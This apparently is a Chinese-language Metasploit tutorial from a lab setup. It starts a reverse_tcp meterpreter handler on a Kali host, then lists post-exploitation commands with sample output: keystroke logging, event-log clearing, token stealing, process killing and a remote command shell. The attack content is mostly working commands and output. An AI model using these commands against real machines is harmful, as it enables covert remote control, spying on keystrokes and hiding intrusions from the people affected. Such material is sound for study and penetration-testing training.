启用主控端：
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.152.147 set lport 5555

192.168.152.147 是我们 kali 的 IP 地址

命令

enumdesktops 列出所有可访问的桌面和窗口工作站
getdesktop 获取当前的 meterpreter 桌面
idletime 返回远程用户空闲的时间
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
screenshot 抓取一个交互式桌面的屏幕截图
setdesktop 改变当前的 meterpreters 桌面
uictl 控制一些用户界面组件
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌
execute 执行一个命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有特权
getsid 获取服务器作为其运行的用户的 SID
getuid 获取服务器作为其运行的用户
kill 终止流程
localtime 显示目标系统的本地日期和时间
pgrep 按名称筛选进程
pkill 按名称终止进程
ps 查看目标正在运行的进程
reboot 重新启动远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用 RevertToSelf()
shell 拖放到系统命令 shell 中
shutdown 关闭远程计算机
steal_token 试图从目标进程中窃取模拟令牌
suspend 挂起或恢复进程列表
sysinfo 获取有关远程系统(如操作系统)的信息

在目标电脑上运行指定的程序
meterpreter > execute -f notepad.exe

```
meterpreter > execute -f notepad.exe
Process 880 created.
```

查看目标正在运行的进程

meterpreter > ps

```
meterpreter > ps

Process List
============

 PID   PPID  Name
 ---   ----  ----
 0     0     [System Process]
 4     0     System
 252   4     smss.exe
 348   328   csrss.exe
 360   532   msdtc.exe
 428   420   csrss.exe
 436   328   wininit.exe
 484   420   winlogon.exe
 532   436   services.exe
 540   436   lsass.exe
 548   436   lsm.exe
 648   532   svchost.exe
 708   532   vmacthlp.exe
 752   532   svchost.exe
 852   532   svchost.exe
 896   532   svchost.exe
 920   532   svchost.exe
 1080  532   svchost.exe
 1164  648   WmiPrvSE.exe
 1172  532   svchost.exe
 1244  2456  win_payload_192.168.152.147.exe
.147.exe
 1276  532   dllhost.exe
 1300  532   spoolsv.exe
 1372  532   svchost.exe
 1536  532   VGAuthService.exe
```

终止进程，关闭目标电脑上的特定软件或者服务

meterpreter > kill

```
meterpreter > kill
Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]
Terminate one or more processes.
     -s        Kills the pid associated with the current session.
```

meterpreter > kill 1004

```
meterpreter > kill 1004
Killing: 1004
meterpreter >
```

进入 shell

meterpreter > shell

```
meterpreter > shell
Process 3308 created.
Channel 1 created.
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\admin\Desktop>
```